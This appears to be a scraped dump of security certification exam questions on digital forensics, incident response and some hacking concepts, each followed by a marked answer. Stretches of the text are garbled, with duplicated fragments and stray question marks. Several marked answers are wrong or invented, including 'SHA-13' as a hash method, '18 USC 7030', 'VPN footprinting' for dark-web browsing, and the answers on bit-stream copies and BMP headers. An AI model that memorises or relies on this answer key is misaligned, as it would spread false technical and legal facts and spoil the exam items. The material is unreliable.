Bill is the accounting manager for Grummon and Sons LLC in Chicago. On a regular basis, he needs to send PDF documents containing sensitive information through E-mail to his customers. Bill protects the PDF documents with a password and sends them to their intended recipients. Why PDF passwords do not offer maximum protection? PDF passwords are converted to clear text when sent through E-mail PDF passwords can easily be cracked by software brute force tools
PDF passwords can easily be cracked by software brute force tools
George is a senior security analyst working for a state agency in Florida. His state's congress just passed a bill mandating every state agency to undergo a security audit annually. After learning what will be required, George needs to implement an IDS as soon as possible before the first audit occurs. The state bill requires that an IDS with a "time- based induction machine" be used. What IDS feature must George implement to meet this requirement? Signature-based anomaly detection Statistical-based anomaly detection Real-time anomaly detection Pattern matching
Real-time anomaly detection
What hashing method is used to password protect Blackberry devices? AES MD5 RC5 SHA-13
SHA-13
Click on the Exhibit Button To test your website for vulnerabilities, you type in a Quotation mark (? for the username field. After you click Ok, you receive the following error message window: What can you infer from this error window? SQL injection is not possible The Quotation mark (? is a valid username The user for line 3306 in the SQL database has a weak password SQL injection is possible
SQL injection is possible
What is kept in the following directory? HKLM\SECURITY\Policy\Secrets Local store PKI Kerberos certificates Cached password hashes for the past 20 users IAS account names and passwords Service account passwords in plain text
Service account passwords in plain text
Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique. Boney first obtains a valid session ID by logging into a service and later feeds the same session ID to the target employee. The session ID links the target employee to Boney's account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boney's account. What is the attack performed by Boney in the above scenario??? ANSWER Forbidden attack CRIME attack Session donation attack Session fixation attack
Session fixation attack
Which of the following refers to the data that might still exist in a cluster even though the original file has been overwritten by another file? Sector Metadata MFT Slack Space
Slack Space
If the partition size Is 4 GB, each cluster will be 32 K. Even If a file needs only 10 K, the entire 32 K will be allocated, resulting In 22 K of___________. Slack space Deleted space Sector space Cluster space
Slack space
A DDoS attack is performed at layer 7 to take down web infrastructure. Partial HTTP requests are sent to the web infrastructure or applications. Upon receiving a partial request, the target servers opens multiple connections and keeps waiting for the requests to complete. Which attack is being described here? ANSWER Desynchronization Slowloris attack Session splicing Phlashing
Slowloris attack
James is testing the ability of his routers to withstand DoS attacks. James sends ICMP ECHO requests to the broadcast address of his network. What type of DoS attack is James testing against his network? Smurf Trinoo SYN flood Fraggle
Smurf
In a virtual test environment, Michael is testing the strength and security of BGP using multiple routers to mimic the backbone of the Internet. This project will help him write his doctoral thesis on "bringing down the Internet". Without sniffing the traffic between the routers, Michael sends millions of RESET packets to the routers in an attempt to shut one or all of them down. After a few hours, one of the routers finally shuts itself down. What will the other routers communicate between themselves? More RESET packets to the affected router to get it to power back up RESTART packets to the affected router to get it to power back up The change in the routing fabric to bypass the affected router STOP packets to all other routers warning of where the attack originated
The change in the routing fabric to bypass the affected router
A forensics investigator is searching the hard drive of a computer for files that were recently moved to the Recycle Bin. He searches for files in C:\RECYCLED using a command line tool but does not find anything. What is the reason for this? He should search in C:\Windows\System32\RECYCLED folder The Recycle Bin does not exist on the hard drive Only FAT system contains RECYCLED folder and not NTFS The files are hidden and he must use switch to view themThe files are hidden and he must use ? switch to view them
The files are hidden and he must use switch to view themThe files are hidden and he must use ? switch to view them
While searching through a computer under investigation, you discover numerous files that appear to have had the first letter of the file name replaced by the hex code byte 5h.?What does this indicate on the computer?replaced by the hex code byte ?5h.?What does this indicate on the computer? The files have been marked as hidden The files are corrupt and cannot be recovered The files have been marked as read-only The files have been marked for deletion
The files have been marked for deletion
You are working as an investigator for a corporation and you have just received instructions from your manager to assist in the collection of 15 hard drives that are part of an ongoing investigation. Your job is to complete the required evidence custody forms to properly document each piece of evidence as other members of your team collect it. Your manager instructs you to complete one multi evidence form for the entire case and a single-evidence form for each hard drive. How will these forms be stored to help preserve the chain of custody of the case? All forms should be placed in the report file because they are now primary evidence in the case All forms should be placed in an approved secure container because they are now primary evidence in the case The multi-evidence form should be placed in the report file and the single-evidence forms should be kept with each hard drive in an approved secure container The multi-evidence form should be placed in an approved secure container with the hard drives and the single-evidence forms should be placed in the report file
The multi-evidence form should be placed in the report file and the single-evidence forms should be kept with each hard drive in an approved secure container
Louis, a professional hacker, had used specialized tools or search engines to encrypt all his browsing activity and navigate anonymously to obtain sensitive/ hidden information about official government or federal databases. After gathering the information, he successfully performed an attack on the target government organization without being traced. Which of the following techniques is described in the above scenario? Website footprinting Dark web footprinting VPN footprinting VoIP footprinting
VPN footprinting
A picture file is recovered from a computer under investigation. During the investigation process, the file is enlarged 500% to get a better view of its contents. The picture quality is not degraded at all from this process. What kind of picture is this file?its contents. The picture? quality is not degraded at all from this process. What kind of picture is this file? Raster image Metafile image Vector image Catalog image
Vector image
What is the following command trying to accomplish? C:\> nmap -sU -p445 192.168.0.0/24 Verify that TCP port 445 is open for the 192.168.0.0 network Verify that UDP port 445 is open for the 192.168.0.0 network Verify that UDP port 445 is closed for the 192.168.0.0 network Verify that NETBIOS is running for the 192.168.0.0 network
Verify that UDP port 445 is open for the 192.168.0.0 network
Which of the following Wi-Fi chalking methods refers to drawing symbols in public places to advertise open Wi-Fi networks? WarFlying WarChalking WarDhving WarWalking
WarChalking
Question 76 In what circumstances would you conduct searches without a warrant? Law enforcement agencies located in California under section SB 567 are authorized to seize computers without warrant under all circumstances When destruction of evidence is imminent, a warrantless seizure of that evidence is justified if there is probable cause to believe that the item seized constitutes evidence of criminal activity A search warrant is not required if the crime involves Denial-Of-Service attack over the Internet Agents may search a place or object without a warrant if he suspect the crime was committed
When destruction of evidence is imminent, a warrantless seizure of that evidence is justified if there is probable cause to believe that the item seized constitutes evidence of criminal activity
Why should you never power on a computer that you need to acquire digital evidence from? Powering on a computer has no affect when needing to acquire digital evidence from it When the computer boots up, the system cache is cleared which could destroy evidence When the computer boots up, data in the memory buffer is cleared which could destroy evidenceWhen the computer boots up, data in the memory? buffer is cleared which could destroy evidence When the computer boots up, files are written to the computer rendering the data nclean?When the computer boots up, files are written to the computer rendering the data ?nclean
When the computer boots up, files are written to the computer rendering the data nclean?
An employee is suspected of stealing proprietary information belonging to your company that he had no rights to possess. The information was stored on the employee computer that was protected with the NTFS Encrypted File System (EFS) and you had observed him copy the files to astored on the employee? computer that was protected with the NTFS Encrypted File System (EFS) and you had observed him copy the files to a floppy disk just before leaving work for the weekend. You detain the employee before he leaves the building and recover the floppy disk and secure his computer. Will you be able to break the encryption so that you can verify that the employee was in possession of the proprietary information? When the encrypted file was copied to the floppy disk, the EFS private key was also copied to the floppy disk, so you can recover the information When the encrypted file was copied to the floppy disk, it was automatically unencrypted, so you can recover the information EFS uses a 128-bit key that cannot be cracked, so you will not be able to recover the information The EFS Revoked Key Agent can be used on the computer to recover the information
When the encrypted file was copied to the floppy disk, it was automatically unencrypted, so you can recover the information
Email archiving is a systematic approach to save and protect the data contained in emails so that it can be accessed fast at a later date. There are two main archive types, namely Local Archive and Server Storage Archive. Which of the following statements is correct while dealing with local archives? Server storage archives are the server information and settings stored on a local system whereas the local archives are the local email client information stored on the mail server Local archives do not have evidentiary value as the email client may alter the message data It is difficult to deal with the webmail as there is no offline archive in most cases. So consult your counsel on the case as to the best way to approach and gain access to the required data on servers Local archives should be stored together with the server storage archives in order to be admissible in a court of law
It is difficult to deal with the webmail as there is no offline archive in most cases. So consult your counsel on the case as to the best way to approach and gain access to the required data on servers
Network forensics allows Investigators to inspect network traffic and logs to identify and locate the attack system Network forensics can reveal. (Select three answers) Intrusion techniques used by attackers Hardware configuration of the attacker's system Source of security incidents’ and network attacks Path of the attack
Path of the attack
Raw data acquisition format creates ____________of a data set or suspect drive. Segmented files Segmented image files Simple sequential flat files Compressed image files
Simple sequential flat files
The status of the network interface cards (NICs) connected to a system gives information about whether the system is connected to a wireless access point and what IP address is being used. Which command displays the network configuration of the NICs on the system? ipconfig /all netstat tasklist net session
ipconfig /all
Which of the following file in Novel GroupWise stores information about user accounts? gwcheck.db PRIV.STM PRIV.EDB ngwguard.db
ngwguard.db
Depending upon the Jurisdictional areas, different laws apply to different incidents. Which of the following law is related to fraud and related activity in connection with computers? 18 USC 7030 18 USC 7029 18 USC 7371 18 USC 7361
18 USC 7030
The Electronic Serial Number (ESN) is a unique __________ recorded on a secure chip in a mobile phone by the manufacturer. 16-bit identifier 32-bit identifier 64-bit identifier 24-bit identifier
32-bit identifier
When a system is compromised, attackers often try to disable auditing, in Windows 7; modifications to the audit policy are recorded as entries of Event ID____________. 3902 3904 4902 4904
4902
All the Information about the user activity on the network, like details about login and logoff attempts, is collected in the security log of the computer. When a user's login is successful, successful audits generate an entry whereas unsuccessful audits generate an entry for failed login attempts in the logon event ID table.In the logon event ID table, which event ID entry (number) represents a successful logging on to a computer? 531 528 530 529
528
Graphics Interchange Format (GIF) is a ___________RGB bitmap Image format for Images with up to 256 distinct colors per frame. 16-bit 8-bit 24-bit 32-bit
8-bit
JPEG is a commonly used method of compressing photographic Images. It uses a compression algorithm to minimize the size of the natural image, without affecting the quality of the image. The JPEG lossy algorithm divides the image in separate blocks of 8x8 pixels 32x32 pixels 4x4 pixels 16x16 pixels
8x8 pixels
What is a bit-stream copy? Bit-Stream Copy is a bit-by-bit copy of the original storage medium and exact copy of the original disk A bit-stream image is the file that contains the FAT32 files and folders of all the data on a disk or partition Creating a bit-stream image transfers only non-deleted files from the original disk to the image disk A bit-stream image is the file that contains the NTFS files and folders of all the data on a disk or partition
A bit-stream image is the file that contains the FAT32 files and folders of all the data on a disk or partition
WPA2 provides enterprise and Wi-Fi users with stronger data protection and network access control which of the following encryption algorithm is used DVWPA2? Correct Answer AES-CCMP AES-TKIP RC4-TKIP RC4-CCMP
AES-CCMP
In which step of the computer forensics investigation methodology would you run MD5 checksum on the evidence? Evaluate and secure the scene Collect the evidence Acquire the data Obtain search warrant
Acquire the data
Which of the following would you consider an aspect of organizational security, especially focusing on IT security? Application security Security from frauds Information copyright security Biometric information security
Application security
An image is an artifact that reproduces the likeness of some subject. These are produced by optical devices (i.e. cameras, mirrors, lenses, telescopes, and microscopes).Which property of the image shows you the number of colors available for each pixel in an image? File Formats Pixel Image File Size Bit Depth
Bit Depth
Which of the following statements is not a part of securing and evaluating electronic crime scene checklist? Blog about the incident on the internet Request additional help at the scene if needed Transmit additional flash messages to other responding units Locate and help the victim
Blog about the incident on the internet
In an echo data hiding technique, the secret message is embedded into a __________as an echo. Pseudo-random signal Pseudo- spectrum signal Phase spectrum of a digital signal Cover audio signal
Cover audio signal
Which of the following Steganography techniques allows you to encode information that ensures creation of cover for secret communication? Spread spectrum techniques Transform domain techniques Cover generation techniques Substitution techniques
Cover generation techniques
Event correlation is a procedure that is assigned with a new meaning for a set of events that occur in a predefined interval of time.Which type of correlation will you use if your organization wants to use different OS and network hardware platforms throughout the network? Same-platform correlation Network-platform correlation Multiple-platform correlation Cross-platform correlation
Cross-platform correlation
The evolution of web services and their increasing use in business offers new attack vectors in an application framework. Web services are based on XML protocols such as web Services Definition Language (WSDL) for describing the connection points, UniversalDescription, Discovery, and Integration (UDDI) for the description and discovery of Web services and Simple Object Access Protocol (SOAP) for communication between Web services that are vulnerable to various web application threats. Which of the following layer in web services stack is vulnerable to fault code leaks? Security Layer Access Layer Discovery Layer Presentation Layer
Discovery Layer
Which of the following statements does not support the case assessment? Review the case investigator's request for service Discuss whether other forensic processes need to be performed on the evidence Identify the legal authority for the forensic examination request Do not document the chain of custody
Do not document the chain of custody
Operating System logs are most beneficial for Identifying or Investigating suspicious activities involving a particular host. Which of the following Operating System logs contains information about operational actions performed by OS components? Firewall logs IDS logs Event logs Audit logs
Event logs
The need for computer forensics is highlighted by an exponential increase in the number of cybercrimes and litigations where large organizations were involved. Computer forensics plays an important role in tracking the cyber criminals. The main role of computer forensics is to: Maximize the investigative potential by maximizing the costs Harden organization perimeter security Extract, process, and interpret the factual evidence so that it proves the attacker's actions in the court Document monitoring processes of employees of the organization
Extract, process, and interpret the factual evidence so that it proves the attacker's actions in the court
Digital evidence is not fragile in nature. FALSE TRUE
FALSE
When dealing with the powered-off computers at the crime scene, if the computer is switched off, turn it on FALSE TRUE
FALSE
Data files from original evidence should be used for forensics analysis True False
False
During the seizure of digital evidence, the suspect can be allowed touch the computer system. True False
False
When NTFS Is formatted, the format program assigns the __________ sectors to the boot sectors and to the bootstrap code First 24 First 12 First 22 First 16
First 16
Which of the following standard is based on a legal precedent regarding the admissibility of scientific examinations or experiments in legal cases? Daubert Standard Schneiderman Standard Frye Standard FERPA standard
Frye Standard
Smith, in his part time forensic investigation assignment, has seized a mobile device. He was asked to recover the Subscriber Identity Module (SIM card) data from the mobile device. Smith found that the SIM was protected by a Personal identification Number (PIN) code but he was also aware that people generally leave the PIN numbers to the defaults or use easily guessable numbers such as 1234. He unsuccessfully tried three PIN numbers that blocked the SIM card. What can Smith do in this scenario to reset the PIN and access SIM data? He should ask the network operator for Personal Unlock Number (PUK) to gain access to the SIM He should again attempt PIN guesses after a time of 24 hours He should contact the device manufacturer for a Temporary Unlock Code (TUK) to gain access to the SIM He cannot access the SIM data in this scenario as the network operators or device manufacturers have no idea about a device PIN
He should ask the network operator for Personal Unlock Number (PUK) to gain access to the SIM
An intrusion detection system (IDS) gathers and analyzes information from within a computer or a network to identify any possible violations of security policy, including unauthorized access, as well as misuse.Which of the following intrusion detection systems audit events that occur on a specific host? File integrity checking Network-based intrusion detection Host-based intrusion detection Log file monitoring
Host-based intrusion detection
The Recycle Bin exists as a metaphor for throwing files away, but it also allows user to retrieve and restore files. Once the file is moved to the recycle bin, a record is added to the log file that exists in the Recycle Bin.Which of the following files contains records that correspond to each deleted file in the Recycle Bin? INFO2 file INFO1 file LOGINFO1 file LOGINFO2 file
INFO2 file
Networks are vulnerable to an attack which occurs due to overextension of bandwidth, bottlenecks, network data interception, etc.Which of the following network attacks refers to a process in which an attacker changes his or her IP address so that he or she appears to be someone else? IP address spoofing Session sniffing Denial of Service attack Man-in-the-middle attack
IP address spoofing
What is the First Step required in preparing a computer for forensics investigation? Do not turn the computer off or on, run any programs, or attempt to access data on a computer Identify the type of data you are seeking, the Information you are looking for, and the urgency level of the examination Suspend automated document destruction and recycling policies that may pertain to any relevant media or users at Issue Secure any relevant media
Identify the type of data you are seeking, the Information you are looking for, and the urgency level of the examination
Which of the following statement is not correct when dealing with a powered-on computer at the crime scene? If a computer is on and the monitor shows some picture or screen saver, move the mouse slowly without depressing any mouse button and take a photograph of the screen and record the information displayed If a monitor is powered on and the display is blank, move the mouse slowly without depressing any mouse button and take a photograph If a computer is switched on and the screen is viewable, record the programs running on screen and photograph the screen If the computer is switched off. power on the computer to take screenshot of the desktop
If the computer is switched off. power on the computer to take screenshot of the desktop
Ever-changing advancement or mobile devices increases the complexity of mobile device examinations. Which of the following is an appropriate action for the mobile forensic investigation? Do not wear gloves while handling cell phone evidence to maintain integrity of physical evidence If the phone is in a cradle or connected to a PC with a cable, then unplug the device from the computer To avoid unwanted interaction with devices found on the scene, turn on any wireless interfaces such as Bluetooth and Wi-Fi radios If the device's display is ON. the screen's contents should be photographed and, if necessary, recorded manually, capturing the time, service status, battery level, and other displayed icons
If the device's display is ON. the screen's contents should be photographed and, if necessary, recorded manually, capturing the time, service status, battery level, and other displayed icons
What is the Best Evidence Rule? It contains hidden files, slack space, swap file, index.dat files, unallocated clusters, unused partitions, hidden partitions, registry settings, and event logs It contains information such as open network connection, user logout, programs that reside in memory, and cache data It states that the court only allows the original evidence of a document, photograph, or recording at the trial rather than a copy It contains system time, logged-on user(s), open files, network information, process information, process-to-port mapping, process memory, clipboard contents, service/driver information, and command history
It states that the court only allows the original evidence of a document, photograph, or recording at the trial rather than a copy
According to US federal rules, to present a testimony in a court of law, an expert witness needs to furnish certain information to prove his eligibility. Jason, a qualified computer forensic expert who has started practicing two years back, was denied an expert testimony in a computer crime case by the US Court of Appeals for the Fourth Circuit in Richmond,Virginia. Considering the US federal rules, what could be the most appropriate reason for the court to reject Jason's eligibility as an expert witness? Jason was not aware of legal issues involved with computer crimes Jason was unable to furnish documents to prove that he is a computer forensic expert Being a computer forensic expert, Jason is not eligible to present testimony in a computer crime case Jason was unable to furnish documents showing four years of previous experience in the field
Jason was unable to furnish documents showing four years of previous experience in the field
Digital evidence validation involves using a hashing algorithm utility to create a binary or hexadecimal number that represents the uniqueness of a data set, such as a disk drive or file.Which of the following hash algorithms produces a message digest that is 128 bits long? SHA-1 MD5 CRC-32 SHA-512
MD5
The Recycle Bin is located on the Windows desktop. When you delete an item from the hard disk, Windows sends that deleted item to the Recycle Bin and the icon changes to full from empty, but items deleted from removable media, such as a floppy disk or network drive, are not stored in the Recycle Bin.What is the size limit for Recycle Bin in Vista and later versions of the Windows? No size limit Maximum of 3.99 GB Maximum of 4.99 GB Maximum of 5.99 GB
No size limit
Who is responsible for the following tasks?-> Secure the scene and ensure that it is maintained In a secure state until the.Forensic Team advises --> Make notes about the scene that will eventually be handed over to the Forensic Team - Local managers or other non-forensic staff Non-Laboratory Staff Lawyers System administrators
Non-Laboratory Staff
In Windows 7 system files, which file reads the Boot.ini file and loads Ntoskrnl.exe.Bootvid.dll. Hal.dll, and boot-start device drivers? Kernel32.dll Ntldr Gdi32.dll Boot.in
Ntldr
Which is not a part of environmental conditions of a forensics lab? Good cooling system to overcome excess heat generated by the work station Open windows facing the public road Large dimensions of the room Allocation of workstations as per the room dimensions
Open windows facing the public road
Hard disk data addressing is a method of allotting addresses to each ___________of data on a hard disk Physical block Logical block Hard disk block Operating system block
Physical block
P0P3 (Post Office Protocol 3) is a standard protocol for receiving email that deletes mail on the server as soon as the user downloads it. When a message arrives, the POP3 server appends it to the bottom of the recipient's account file, which can be retrieved by the email client at any preferred time. Email client connects to the POP3 server at_______________by default to fetch emails. Port 123 Port 115 Port 109 Port 110
Port 110
First responder is a person who arrives first at the crime scene and accesses the victim's computer system after the incident. He or She is responsible for protecting, integrating, and preserving the evidence obtained from the crime scene.Which of the following is not a role of first responder? Package and transport the electronic evidence to forensics lab Prosecute the suspect in court of law Protect and secure the crime scene Identify and analyze the crime scene
Prosecute the suspect in court of law
Router log files provide detailed Information about the network traffic on the Internet. It gives information about the attacks to and from the networks. The router stores log files in the____________. IDS logs Application logs Router cache Audit logs
Router cache
Injection flaws are web application vulnerabilities that allow untrusted data to be Interpreted and executed as part of a command or query. Attackers exploit injection flaws by constructing malicious commands or queries that result in data loss or corruption, lack of accountability, or denial of access. Which of the following injection flaws involves the injection of malicious code through a web application? Password brute force Nmap Scanning SQL Injection Footprinting
SQL Injection
Dumpster Diving refers to: Searching for sensitive information in the user's trash bins and printer trash bins, and searching the user's desk for sticky notes Creating a set of dictionary words and names, and trying all the possible combinations to crack the password Looking at either the user's keyboard or screen while he/she is logging in Convincing people to reveal the confidential information
Searching for sensitive information in the user's trash bins and printer trash bins, and searching the user's desk for sticky notes
Computer security logs contain information about the events occurring within an organization's systems and networks. Which of the following security logs contains Logs of network and host-based security software? Audit logs Operating System (OS) logs Security software logs Application logs
Security software logs
How do you define Technical Steganography? Steganography that utilizes written JAVA language to hide the message in the carrier in some non-obvious ways Steganography that uses physical or chemical means to hide the existence of a message Steganography that utilizes written natural language to hide the message in the carrier in some non-obvious ways Steganography that utilizes visual symbols or signs to hide secret messages
Steganography that uses physical or chemical means to hide the existence of a message
System software password cracking is defined as cracking the operating system and all other utilities that enable a computer to function FALSE TRUE
TRUE
Which one of the following is not a consideration in a forensic readiness planning checklist? Decide the procedure for securely collecting the evidence that meets the requirement in a forensically sound manner Identify the potential evidence available Define the business states that need digital evidence Take permission from all employees of the organization
Take permission from all employees of the organization
BMP (Bitmap) is a standard file format for computers running the Windows operating system. BMP images can range from black and white (1 bit per pixel) up to 24 bit color (16.7 million colors). Each bitmap file contains header, the RGBQUAD array, information header, and image data. Which of the following element specifies the dimensions, compression type, and color format for the bitmap? Information header Header The RGBQUAD array Image data
The RGBQUAD array
File deletion is a way of removing a file from a computer's file system. What happens when a file is deleted in windows7? Corresponding clusters in FAT are marked as used The operating system marks the file's name in the MFT with a special character that indicates that the file has been deleted The computer looks at the clusters occupied by that file and does not avails space to store a new file The last letter of a file name is replaced by a hex byte code E5h
The operating system marks the file's name in the MFT with a special character that indicates that the file has been deleted
Which of the following is not a part of disk imaging tool requirements? The tool must have the ability to be held up to scientific and peer review The tool should log I/O errors in an accessible and readable form, including the type and location of the error The tool should not change the original content The tool should not compute a hash value for the complete bit stream copy generated from an image file of the source
The tool should not compute a hash value for the complete bit stream copy generated from an image file of the source
Why is it Important to consider health and safety factors in the work carried out at all stages of the forensic process conducted by the forensic analysts? This is to protect the staff and preserve any fingerprints that may need to be recovered at a later date It is a part of ANSI 346 forensics standard All forensic teams should wear protective latex gloves which makes them look professional and cool Local law enforcement agencies compel them to wear latest gloves
This is to protect the staff and preserve any fingerprints that may need to be recovered at a later date
Centralized logging is defined as gathering the computer system logs for a group of systems in a centralized location. It is used to efficiently monitor computer system logs with the frequency required to detect security violations and unusual activity. True False
True
During first responder procedure you should follow all laws while collecting the evidence, and contact a computer forensic examiner as soon as possible True False
True
Network forensics can be defined as the sniffing, recording, acquisition and analysis of the network traffic and event logs in order to investigate a network security incident. True False
True
Under no circumstances should anyone, with the exception of qualified computer forensics personnel, make any attempts to restore or recover information from a computer system or device that holds electronic information. True False
True
International Mobile Equipment Identifier (IMEI) is a 15-dlgit number that indicates the manufacturer, model type, and country of approval for GSM devices. The first eight digits of an IMEI number that provide information about the model and origin of the mobile device is also known as: Manufacturer identification Code (MIC) Device Origin Code (DOC) Integrated Circuit Code (ICC) Type Allocation Code (TAC)
Type Allocation Code (TAC)
Which of the following reports are delivered under oath to a board of directors/managers/panel of jury? Verbal Informal Report Written Formal Report Verbal Formal Report Written informal Report
Verbal Formal Report
Which of the following is not a part of data acquisition forensics Investigation? Permit only authorized personnel to access Protect the evidence from extremes in temperature Disable all remote access to the system Work on the original storage medium not on the duplicated copy
Work on the original storage medium not on the duplicated copy
Which of the following is not correct when documenting an electronic crime scene? Document related electronic components that are difficult to find Write down the color of shirt and pant the suspect was wearing Record the condition of the computer system, storage media, electronic devices and conventional evidence, including power status of the computer Document the physical scene, such as the position of the mouse and the location of components near the system
Write down the color of shirt and pant the suspect was wearing
Digital photography helps in correcting the perspective of the Image which Is used In taking the measurements of the evidence. Snapshots of the evidence and incident-prone areas need to be taken to help in the forensic process. Is digital photography accepted as evidence in the court of law? Yes No
Yes
Which of the following is not a part of the technical specification of the laboratory-based imaging system? very low image capture rate Anti-repudiation techniques High performance workstation PC Remote preview and imaging pod
very low image capture rate